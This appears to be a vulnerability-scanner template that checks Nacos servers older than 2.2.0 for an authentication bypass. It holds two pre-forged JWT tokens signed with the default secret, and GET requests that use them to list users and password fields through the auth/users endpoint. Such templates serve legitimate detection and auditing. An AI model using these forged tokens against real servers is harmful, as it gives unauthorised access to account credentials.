nacos-authentication-bypass: Nacos < 2.2.0 - Authentication Bypass

id: nacos-authentication-bypass

info:
  name: Nacos < 2.2.0 - Authentication Bypass
  author: Esonhugh
  severity: critical
  verified: true
  description: |
    The authentication function of Nacos is can be bypass through default JWT secret.
  reference:
    - https://github.com/alibaba/nacos/issues/10060
    - https://avd.aliyun.com/detail?id=AVD-2023-1655789
    - https://nacos.io/zh-cn/docs/auth.html

set:
  token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g
  token2: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMDUwNDAxOX0.vW8mpBNoJ7hVKPNhEtQl4Z5b00G4P9Ktrn_7c58crOk
rules:
  r0:
    request:
      method: GET
      path: /nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}
    expression: response.status == 200 && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') && response.headers["content-type"].contains('application/json')
  r1:
    request:
      method: GET
      path: /v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}
    expression: response.status == 200 && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') && response.headers["content-type"].contains('application/json')
  r2:
    request:
      method: GET
      path: /nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token2}}
    expression: response.status == 200 && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') && response.headers["content-type"].contains('application/json')
  r3:
    request:
      method: GET
      path: /v1/auth/users?pageNo=1&pageSize=10&accessToken={{token2}}
    expression: response.status == 200 && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') && response.headers["content-type"].contains('application/json')
expression: r0() || r1() || r2() || r3()